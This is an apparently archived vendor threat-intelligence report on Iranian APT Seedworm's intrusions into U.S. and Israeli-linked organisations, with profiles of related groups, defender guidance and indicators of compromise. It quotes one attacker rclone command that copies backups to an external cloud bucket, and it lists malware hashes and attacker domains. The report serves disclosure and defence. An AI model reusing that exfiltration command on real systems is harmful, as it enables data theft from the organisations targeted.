Seedworm: Iranian APT on Networks of U.S. Bank, Airport, Software Company

By About the Author

Archived: 2026-04-05 21:14:23 UTC

- Activity associated with Iranian APT group Seedworm has been spotted on the networks of multiple U.S. companies. The activity began in February 2026 and has continued in recent days.
- A U.S. bank, airport, non-profit and the Israeli operations of a U.S. software company were among the targets.
- We round up details of recent Iranian cyber threat activity and what defenders need to look out for.

The Iranian APT group Seedworm (aka MuddyWater, Temp Zagros, Static Kitten) has been active on the networks of multiple U.S. companies since the beginning of February 2026, with activity continuing in recent days following U.S. and Israeli military strikes on Iran that have sparked conflict in the region.

A U.S. bank, software company and airport, and non-governmental organizations in both the U.S. and Canada, have experienced suspicious activity on their networks in recent days and weeks. The software company is a supplier to the defense and aerospace industries among others, and has a presence in Israel, with the company's Israel operation seeming to be the target in this activity.

A previously unknown backdoor, which we have named Dindoor, was found on the networks of the Israeli outpost of this software company, with the same backdoor seen on the networks of a U.S. bank and the Canadian non-profit organization. This backdoor leverages Deno, the secure runtime for JavaScript and TypeScript, to execute. This backdoor was signed with a certificate issued to "Amy Cherne".

There was also an attempt to exfiltrate data from the software company using Rclone to a Wasabi cloud storage bucket. It's not clear if this was successful.

rclone copy CSIDL_DRIVE_FIXED\backups wasabi:[REMOVED]:/192.168.0.x

A different, Python backdoor called Fakeset was found on the networks of the U.S. airport and non-profit. It was signed by certificates issued to "Amy Cherne" and "Donald Gay". The Donald Gay certificate has been used previously to sign malware linked to Seedworm. The backdoor was downloaded from two servers belonging to the Backblaze cloud storage company:

gitempire.s3.us-east-005.backblazeb2.com

elvenforest.s3.us-east-005.backblazeb2.com

The Donald Gay certificate was also used to sign a sample from the malware family we call Stagecomp and which downloads the Darkcomp backdoor. The Stagecomp and the Darkcomp malware have been linked to Seedworm by vendors including Google, Microsoft and Kaspersky. While this malware wasn't seen on the targeted networks,

the use of the same certificates suggests the same actor - namely Seedworm - was behind the activity on the networks of the U.S. companies.

While it's not known if the operations of Seedworm are disrupted by the current conflict, already having a presence on U.S. and Israeli networks prior to the current hostilities beginning means the threat group is in a potentially dangerous position to launch attacks. While we have disrupted these breaches, other organizations could still be vulnerable to attack.

Seedworm is a long-standing Iranian threat group, which usually mounts classic espionage attacks for the purposes of spying and information gathering. Active since 2017, CISA has said that Seedworm is "a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS)." Seedworm originally focused on victims in the Middle East but later broadened its scope to target telecommunications, defense, local government, and oil and natural gas organizations in Asia, Africa, Europe, and North America. The group develops its own custom malware as well as using dual-use and living off the land tools.

Context

On February 28, 2026, the U.S. and Israel launched a coordinated offensive military air operation targeting Iran, leading to the death of Iran's Supreme Leader Ayatollah Ali Khamenei, who was apparently killed on March 1 when a U.S./Israeli airstrike hit his compound. Several other high-ranking Iranian officials, as well as multiple civilians, were also killed in strikes.

In retaliation, Iran launched drones and ballistic missiles at adversaries throughout the Gulf region, including targeting Israel and U.S. military and diplomatic outposts in multiple countries in the region.

Because of the heated tension in the region and ongoing attacks, it is likely Iran and its allies may also initiate cyber operations to further target their adversaries. Both Israel and Iran have a history of carrying out destructive cyberattacks, including against each other. While internet access in Iran may be disrupted by current military operations, there are cyber operatives working for the regime based in other countries.

The UK's National Cyber Security Centre released an alert following this recent activity, stating that "Iranian state and Iran-linked cyber actors almost certainly currently maintain at least some capability to conduct cyber activity" and warning about the potential threat posed by "Iran-linked hacktivists". Check Point also reported recently that the Handala threat group (see below) has been using the Starlink satellite network to stay online even before this most recent activity began, with the group reportedly leveraging the technology since mid-January, when a nationwide Internet shutdown was announced by Iran's government.

Examining the cyber activity typically carried out by threat actors associated with Iran and its allies may help us predict the kinds of cyber operations we may see being executed as this conflict continues.

Iranian threat actors have become increasingly proficient in recent years. Not only has their tooling and malware improved, but they've also demonstrated strong social engineering capabilities, including spear-phishing campaigns and "honeytrap" operations used to build relationships with targets of interest to gain access to accounts or sensitive information.

One of the hallmarks of Iran's operations in cyberspace is that it periodically mounts destructive attacks against organizations in countries it deems hostile, which at the moment would obviously include the U.S. and Israel. That creates a risk for organizations in those countries because these attacks are about sending a message rather than stealing information, which means that any organization in the country targeted could be in the firing line.

Other recent activity

Doxing Israeli officials and regional energy sector participants

Handala is an Iranian-aligned hacktivist group that is also known to operate in support of Palestine. They have been active since at least 2024. They are known for conducting attacks targeting Israeli organizations and entities perceived to support Israel by conducting phishing attacks, data theft, ransomware, extortion and destructive attacks, including the use of custom wipers. The group operates a leaks site where victim names are posted alongside stolen data and messages from the group. The group was also reportedly active on multiple underground cybercrime forums including BreachForums, Ramp and Exploit during its early days, but has since become more active on Telegram channels and X (formerly Twitter).

In December 2025, the group claimed to have compromised the mobile devices of former Israeli Prime Minister Naftali Bennett and Benjamin Netanyahu's Chief of Staff, Tzachi Braverman. The group leaked material they said they had stolen from the phones, including the contact information of prominent Israeli officials, journalists and business people, photos and videos. However, analysis by researchers disputed some of these claims, saying that the attacks appeared to be limited to Telegram accounts, and did not achieve complete phone access.

In February 2026, Handala claimed to have breached one of Israel's largest healthcare networks. Meanwhile, in March 2026, the group said it had breached Sharjah National Oil Corporation and Israel Opportunity Energy, exfiltrating more than 1.3TB of sensitive data, including confidential financial data, oil contracts and project details. The group has also made claims about breaching Saudi Arabian energy company Saudi Aramco in a post on its leaks site. However, the documents shared appeared to consist of older files that were already in circulation previously. This raises the possibility that the claim may have been exaggerated or partially fabricated, potentially representing an influence or psychological operation intended to generate attention, panic or reputation damage. The group has also posted messages claiming that Israeli Prime Minister Benjamin Netanyahu will be their next target.

Spearphishing academics and NGOs for intelligence collection

In an October 2025 campaign, Seedworm carried out a sophisticated spear-phishing attack that used a compromised mailbox to distribute a custom backdoor known as Phoenix to international organizations across the Middle East and North Africa (MENA), targeting more than 100 government entities as part of an espionage campaign.

The attackers leveraged a malicious Office attachment that has technical overlap with previously reported Seedworm attacks to deliver Phoenix. The command & control (C&C) server also reportedly hosted the PDQ remote access tool, which was used for remote access and persistence, as well as a custom browser credential

stealer. It is believed the motive behind these attacks was intelligence collection, as well as persistent access, for the purposes of longer-term espionage and exfiltration.

Elsewhere, in November 2025, Seedworm was also linked to attacks that targeted academics with expertise on the Middle East and other foreign policy experts. This activity took place between June and August 2025. Suspicious spear-phishing emails impersonated Suzanne Maloney – the vice president and director of the Foreign Policy program at the Brookings Institution and an expert on Iran – using a Gmail address and a misspelled version of her name - “Suzzane Maloney.”. In the attacks, the actors started out using a benign email, which eventually led to a subsequent email that contained a malicious link to a remote access tool payload. It is likely these attacks were carried out as a means to perform espionage - more specifically, as a means to gather intelligence that could be leveraged for strategic advantage.

These attacks had TTP overlaps with other Iranian aligned groups (Smoke Sandstorm, Mint Sandstorm/Charming Kitten) but were subsequently attributed to Seedworm.

Other 2025 activity

Camera scanning for intelligence gathering

Marshtreader (Pink Sandstorm, Agrius, Agonizing Serpens) is a group that has been active since 2020 and is reportedly linked to Iran’s Ministry of Intelligence and Security (MOIS). It is known for its destructive operations against countries in the Middle East, specifically Israel, conducting attacks under multiple aliases and leveraging data leaks in order to control and shape narratives using wiper and fake ransomware malware.

In June 2025, it was reported that the group was observed scanning for vulnerable cameras using CVE-2023-6895 and CVE-2017-7921 across Israel during the June 2025 conflict using infrastructure associated with Iranian actors.

In previous conflicts, actors have been observed compromising cameras to gather intelligence to support bombing damage assessment (BDA) by providing near-real time visibility of impact from bombings and strikes. It is likely these attacks were conducted to gain similar visibility into sensitive locations to perform reconnaissance and potentially enable follow-on targeting of high value targets.

Additionally, in June 2025, a successful password-spraying attack conducted from Nord VPN infrastructure against Israeli municipal government entities was reported followed by spear-phishing attacks that contained links to a ClickFix page designed to trick users into executing malicious PowerShell to ultimately deliver a remote access tool (RAT) that can execute arbitrary commands by the attackers. It is likely the motive behind these attacks was account compromise and espionage. It is not clear what actor was behind these attacks, but the targeting of Israeli targets points to an Iranian actor as the most likely perpetrator.

DieNet DDoS attacks

DieNet is a pro-Palestinian hacktivist group that emerged on Telegram around March 2025 and announced its intention to target “outlaw sites and corrupt government platforms” using DDoS attacks.

Following the arrest of activist Mahmoud Khalil, its activities intensified, with the group claiming responsibility for multiple DDoS attacks against U.S. critical infrastructure, including energy, financial, healthcare, government, transit and communication systems.

In its attacks, the group leveraged high-volume DDoS attacks reportedly via DDoS-as-a-service infrastructure, including TCP RST, DNS amplification, TCP SYN floods and NTP amplification attacks, as well as website defacements and data breaches.

Based on reporting, its motives were likely political retaliation and service disruption.

What can we expect next?

Given Iran's history of attacks leveraging destructive wipers, distributed-denial-of-service (DDoS) and hack-and-leak attacks, the likely next steps for the nation’s cyber actors and supporters may be multiple campaigns combining high-visibility disruption for political signaling and lower-visibility access operations for strategic leverage.

Defenders should anticipate noisy activity such as DDoS attacks, defacements, and leak claims targeting government, transportation, energy and defense contractors to amplify psychological and economic pressure.

It is also likely that more capable state-aligned groups will continue credential harvesting operations, along with vulnerability exploitation and covert persistence against critical infrastructure to generate immediate impact, while also positioning themselves for potential future destructive, espionage or coercive operations.

DDoS and defacements

Given the increase in "hacktivist" activity, we predict a surge in DDoS and defacements for fast signaling and media impact, similar to what has been observed recently with Handala’s claims of targeting critical national infrastructure (CNI).

It is likely such attacks would target a range of sectors, including government portals, municipal sites, airports/ports, logistics providers, banks, telcos, media and symbolic brands.

Password spraying and mailbox compromises

Over the last year, multiple reports involving Iran-backed groups repeatedly highlighted credential attacks and mailbox compromises as a means of initial access and intelligence gathering.

Targets could include defense organizations, government, contractors and NGOs. Additionally, adjacent organizations that support base operations, including fuel, catering, logistics, and communications could also be targets of these attacks.

Leaks / intimidation operations / psyops

Hacktivists such as Handala repeatedly use leaks and claims to amplify fear and pressure even when access is only partial - this is key escalation behavior.

Potential targets of these kinds of attacks and claims would likely include healthcare, local government, airports/ports, transportation and education, as well as high-profile individuals tied to defense, politics and media.

Critical infrastructure and opportunistic attacks

Given the current escalations between the U.S. and Iran, it is likely that CNI is at high risk of attack, as well as organizations supporting these entities.

Organizations with exposed terminal operating systems, schedules and trucking/rail interfaces may be targeted, as well as passenger processing systems, baggage systems, and contractor networks. Additionally, given the high risk, other organizations that operate within sectors such as energy/fuel supply chains may be targets.

Destructive attacks

Iran has previously exhibited high capabilities in destructive potential, particularly during escalation windows.

Any attacks would likely to be focused on energy and utilities, transportation and logistics, financial sector, telecoms, healthcare, defense contractors and military suppliers.

How can defenders prepare?

Organizations should prepare by focusing on strengthening monitoring capabilities and ensure resilience across their infrastructure where possible. Early indicators such as vulnerability scanning, credential attacks and reconnaissance activity often provide an opportunity for defenders to detect intrusion attempts early in the attack chain.

DDoS and defacement campaigns

Due to the likelihood of early retaliation and intensifying psyops, defenders should expect attempts to disrupt public-facing services and monitor any internet-facing infrastructure for the following:

- Spikes in HTTP requests from large, distributed IP ranges
- Repeated probing of admin portals
- Exploit attempts targeting web frameworks and content management systems
- Scanning activity against exposed API endpoints

To prepare, organizations should look at performing the following:

- Deploy web application firewalls (WAF) with updated rule sets
- Enable DDoS protection via CDN or upstream filtering services
- Decommission any non-essential or unused publicly accessible services
- Ensure all up-to-date patches for web applications/plugins are applied regularly
- Ensure website backups exist for rapid restoration, if required
- Monitor underground forums, Telegram channels and social media for claims involving your organization

Credential attacks

Credential attacks are one of the most common initial access techniques used by Iranian-linked groups, which include attack attempts against multiple public-facing services.

Defenders should ensure monitoring is in place to identify patterns consistent with password-spraying attempts, such as the following:

- Repeated login failure attempts across multiple users
- Authentication attempts from unusual geographic locations
- MFA fatigue attacks
- Login attempts occurring outside of normal working hours
- Vulnerability scanning and exploitation of vulnerable VPN appliances or edge infrastructure
- Deployment of web shells on internet-facing servers
- Credential harvesting through phishing campaigns

Organizations should review and harden any identity security mechanisms by performing the following:

- Enable multi-factor authentication for all remote access
- Disable legacy authentication protocols
- Implement condition access policies based on location and device risk
- Restrict admin logins to specific locations, where possible
- Monitor identity provider logs for any anomalies

Leak campaigns and intimidation operations

Hacktivist groups often use hack-and-leak campaigns designed to gain media attention and apply psychological pressure, usually via partial data leaks and exaggerated breach claims. Security teams should watch for indicators of data staging or exfiltration, such as the following:

- Unusual downloads from email systems
- Unusual access to document repositories
- Suspicious archive creation (e.g. ZIP, RAR) on internal systems, usually involving collection of multiple file types
- Large outbound data transfers to external cloud storage platforms
- Unexpected use of data-transfer applications (e.g. Rclone) in their environment

Organizations should focus on ensuring monitoring is in place for the following:

- Large outbound data transfers
- Implement data loss prevention (DLP) policies
- Restrict access to external cloud storage platforms
- Enable auditing of email and file access

Having a communications plan for potential leak claims can also help organizations respond quickly to these threats.

Attacks on critical infrastructure

Critical infrastructure organizations and companies that support military logistics may face attacks that attempt to compromise the following:

- Operational Technology (OT) interfaces
- Scheduled and logistics systems
- Contractor networks
- Remote management systems

Security teams should ensure adequate monitoring is in place for:

- Abnormal access to ICS
- Unexpected remote connections to operational networks
- Authentication attempts targeting infrastructure management systems
- Unusual configuration changes in critical systems
- Vendor access and contractor networks

Organizations faced with these attacks, at a minimum, should ensure:

- Network segmentation across operational technology networks
- Restrict remote access to infrastructure systems
- Monitor contractor VPN access
- Maintain offline backups of critical configuration systems

Destructive attacks

Iran has repeatedly demonstrated its destructive capabilities in the past, with attacks such as Shamoon, which targeted Saudi Arabia's oil industry to wipe thousands of systems.

Organizations that anticipate such attacks should ensure they monitor for indicators that attackers may be preparing for a destructive operation such as:

- Mass scheduled task creation
- Attempts to disable security applications
- Deletion of shadow copies or backup data
- Unusual administrative commands executed across multiple hosts

Organizations should prioritize resilience against destructive attacks by conducting the following tasks:

- Isolating backup infrastructure from production networks
- Enable immutable backups
- Test disaster recovery procedures regularly

Ensuring systems can be restored quickly is critical to recovering from the impact of destructive attacks.

Historical activity

Stuxnet

One of the most infamous cyber incidents to ever take place in the Middle East region was the deployment of the Stuxnet worm, which was designed to break laboratory equipment used by Iranian scientists to enrich uranium at the Natanz facility in Iran. Iran has claimed that this facility has been hit in strikes by Israel and the U.S. in recent days. The disruption of Iran's nuclear program to prevent the country from developing nuclear weapons was one of the reasons given by the U.S. administration for carrying out these recent strikes. The facility was also hit in U.S. strikes in June 2025, which were believed at the time to have rendered the facility inoperable.

Stuxnet was among the first known major nation-state cyberattacks that demonstrated hackers' ability to manipulate and even destroy physical equipment. Stuxnet was designed to cause the spinning motors at the bottom of Natanz's enrichment centrifuges to shatter. It was first published about by researchers at Symantec in 2010, after the worm spread outside of the Natanz facility and was found on private networks. Given that Stuxnet was only discovered after penetrating private networks, it is quite possible that cyber operations are currently being leveraged by and against infrastructure that we know nothing about - yet.

Reports last year indicated potential cyber warfare impacting the region then too, including an attack by pro-Israel hackers dubbed Predatory Sparrow on Iranian crypto exchange Nobitex in which the attackers drained $90 million of cryptocurrency from the exchange. There were also reports that Iranian group Damselfly was carrying out a targeted phishing campaign focused on high-profile Israeli individuals, particularly prominent academics, journalists, and security researchers (*See more in Damselfly profile*).

Damselfly is just one of the key cyber actors who may be active in the current conflict, potentially targeting the networks of significant institutions in other nations for espionage, disruptive or destructive purposes.

Other key actors

Druidfly

Druidfly (aka Homeland Justice, Karma) is an Iranian attack group that specializes in disk-wiping attacks. It first came to public attention after a July 2022 wiper attack on multiple targets belonging to the government of Albania. The wiper left messages directed against the Mujahideen E-Khalq (MEK), an Iranian dissident organization based in Albania. Shortly afterward, a group calling itself Homeland Justice claimed credit for the attack.

In response to the attack, Albania broke off diplomatic relations with Iran. This triggered another wave of attacks in September 2022, apparently in retaliation for Albania publicly attributing the attacks to Iran. While Homeland Justice purported to be a hacktivist outfit, the FBI later established that "Iranian state cyber actors" were responsible for the attacks.

Druidfly reappeared in 2023, when it began targeting Israel with a wiper called BibiWiper, seemingly named after Israeli Prime Minister Benjamin Netanyahu, whose nickname is "Bibi" *(See Case Study)*.

On June 20, 2025, when hostilities between Iran and Israel were previously at a high, we tweeted that we had seen a Druidfly wiper targeting organizations in Albania. The wiper was signed with a legitimate certificate, which was probably stolen. On the Monday following (June 23), it was reported in the media that public services in Albania's capital Tirana had been disrupted by a cyber attack that took down the city's official website and affected local

government operations. Homeland Justice claimed credit for the attack and said it had taken down the city's official website, exfiltrated data and wiped servers, citing the presence of MEK in the country as the reason for the attack.

Case study: Druidfly attacks on Israeli targets

Following the escalation of the conflict in Gaza in 2023, Druidfly was linked to a series of wiper attacks against multiple targets in Israel. In this case, the attacks were carried out under a persona called Karma that purports to be a hacktivist group sympathetic to the Palestinian cause.

The wiper deployed in these attacks was called BibiWiper, seemingly named after Israeli Prime Minister Benjamin Netanyahu, whose nickname is Bibi. The wiper encrypted files on the hard disk before overwriting the master boot record (MBR) and crashing the computer. Efforts to restart the computer would fail because of the destruction of the MBR. Analysis of the wiper revealed clear anti-Israel messages within the wiper's code.

Furthermore, analysis of BibiWiper by the Threat Hunter Team found clear similarities between it and wipers deployed by Druidfly during attacks against Albania in 2022 and 2023.

Tracing other tools used to initiate the BibiWiper attacks against Israel revealed the following overlap in tactics, techniques, and procedures between these attacks and earlier Druidfly attacks:

- HTTPSnoop malware was previously deployed prior to the Druidfly wiping attacks
- Use of the remote desktop tools AnyDesk and ScreenConnect
- Use of ReGeorg web shells

Damselfly

Damselfly (aka Charming Kitten, Mint Sandstorm) is an Iranian espionage group that has been active since 2014. It was initially known for targeting Israel with attacks before it broadened its focus to include the U.S. and other countries. While the group is principally known to be involved in intelligence gathering, members of the group are also known to have participated in extortion attacks. It has been linked by multiple vendors with Iran's Islamic Revolutionary Guard Corps (IRGC).

In March 2022, Damselfly was one of several Iranian groups reported to have moved into mounting large-scale social engineering campaigns. Consistent features of these campaigns included the use of charismatic sock puppets, lures of prospective job opportunities, solicitation by journalists, and masquerading as think tank experts seeking opinions. The attackers leveraged networks such as LinkedIn, Facebook, Twitter, and Google.

Damselfly has also been linked to an attack targeting a nuclear security expert at a U.S.-based think tank in July 2023; attacks on Israel's transportation, logistics, and technology sectors in November 2023; as well as a January 2024 campaign targeting individuals working on Middle Eastern affairs at universities and research organizations in Belgium, France, Gaza, Israel, the UK, and the U.S. The attackers in that campaign used bespoke phishing lures themed around the Israel-Hamas conflict to trick targets into downloading malware.

In 2025, Check Point reported that a new Damselfly campaign that began in mid-June 2025 targeted Israeli journalists, cyber security experts and computer science professors from leading Israeli universities with spear

phishing campaigns in an attempt to steal credentials and multi-factor authentication codes in order to gain access to targets' email accounts. Some of the victims were approached by attackers who posed as fictitious assistants to technology executives or researchers through emails and WhatsApp messages.

Mantis

Active since at least 2014, Mantis (aka Desert Falcon, Arid Viper, APT-C-23), is an Arabic speaking group that appears to be based in the Gaza Strip. The group is known to mount espionage attacks against targets in the government, military, media, financial, research, education, and energy sectors. Most of its attacks have been against organizations in the Middle East but it has, on occasion, attacked targets outside the region. It has also been known on occasion to target individuals or organizations internally within Gaza. While other vendors have linked the group to Hamas, the Threat Hunter Team cannot make a definitive attribution to any Palestinian organization.

The group mainly favors spear-phishing emails with malicious attachments or links to malicious files as its main infection vector. Mantis uses custom malware and its most recent toolset includes the backdoors Trojan.Micropsia and Trojan.AridGopher. Micropsia is capable of taking screenshots, keylogging, and archiving certain file types using WinRAR in preparation for data exfiltration. However, its main purpose appears to be running secondary payloads for the attackers. Arid Gopher is a modular backdoor that is written in Go. It appears to be regularly updated and rewritten by the attackers, most likely to evade detection.

These tools were used in a Mantis attack in late 2022/early 2023 that targeted organizations within the Palestinian territories. The initial infection vector for this campaign remains unknown, but both the Micropsia and AridGopher malware were deployed in this attack. In one intrusion, the attackers deployed three distinct versions of the same toolset (that is, different variants of the same tools) on three groups of computers. Compartmentalizing the attack in this fashion was likely a precautionary measure. If one toolset was discovered, the attackers would still have a persistent presence on the target's network.

Indicators of Compromise (IOCs)

0f9cf1cf8d641562053ce533aaa413754db88e60404cab6bbaa11f2b2491d542 - Trojan.Dindoor

1d984d4b2b508b56a77c9a567fb7a50c858e672d56e8cf7677a1fca5c98c95d1 - Trojan.Dindoor

2a00705cfd3c15cf8913e9eb4e23968efd06f1feceaef9987d26c5518887d043 - Trojan.Dindoor

2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5 - Trojan.Dindoor

42a5db2a020155b2adb77c00cbe6c6ad27c2285d8c6114679d9d34137e870b3f - Trojan.Dindoor

7467f326677a4a2c8576e71a832e297e794ea00e9b67c4fcbe78b5aec697cec4 - Trojan.Dindoor

7c30c16e7a311dc0cdb1cdfd9ea6e502f44c027328dbe7d960b9bcd85ccf5eef - Trojan.Dindoor

b0af82de672d81f3c2f153977923b3884a8a9e7045b182c2379b19a1996931a0 - Trojan.Dindoor

bd8203ab88983bc081545ff325f39e9c5cd5eb6a99d04ae2a6cf862535c9829a - Trojan.Dindoor

c7cf1575336e78946f4fe4b0e7416b6ebe6813a1a040c54fb6ad82e72673478e - Trojan.Dindoor

077ab28d66abdafad9f5411e18d26e87fe43da1410ee8fe846bd721ab0cb52de - Trojan.Fakeset

15061036c702ad92b56b35e42cf5dc334597e7311e98d2fdd3815a69ac3b1d84 - Trojan.Fakeset

2b7d8a519f44d3105e9fde2770c75efb933994c658855dca7d48c8b4897f81e6 - Trojan.Fakeset

4aef998e3b3f6ca21c78ed71732c9d2bdcc8a4e0284f51d7462c79d446fbc7be - Trojan.Fakeset

64263640a6fdeb2388bca2e9094a17065308cf8dcb0032454c0a71d9b78327eb - Trojan.Fakeset

64cf334716f15da1db7981fad6c81a640d94aa1d65391ef879f4b7b6edf6e7f1 - Trojan.Fakeset

74db1f653da6de134bdc526412a517a30b6856de9c3e5d0c742cb5fe9959ad0d - Trojan.Fakeset

94f05495eb1b2ebe592481e01d3900615040aa02bd1807b705a50e45d7c53444 - Trojan.Fakeset

a4bd1371fe644d7e6898045cc8e7b5e1562bdfd0e4871d46034e29a22dec6377 - Trojan.Fakeset

a5d4d6be3bfe0cba23fe6b44984b5fc9c7c7e10030be96120bb30da0f2545d4c - Trojan.Fakeset

ddceade244c636435f2444cd4c4d3dc161981f3af1f622c03442747ecef50888 - Trojan.Fakeset

24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14 - Trojan.Stagecomp

A92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0 - - Trojan.Stagecomp

3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90 - Trojan.Darkcomp

1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6 - Trojan.Darkcomp

Network Indicators

gitempire.s3.us-east-005.backblazeb2[.]com

elvenforest.s3.us-east-005.backblazeb2[.]com

uppdatefile[.]com

serialmenot[.]com

moonzonet[.]com

Further Reading

We published a whitepaper in 2024 discussing the cyber activity we typically see emanating from this region titled *Conflict in the Middle East: An Overview of Cyber Threat Actors and Risks.*

Source: https://www.security.com/threat-intelligence/iran-cyber-threat-activity-us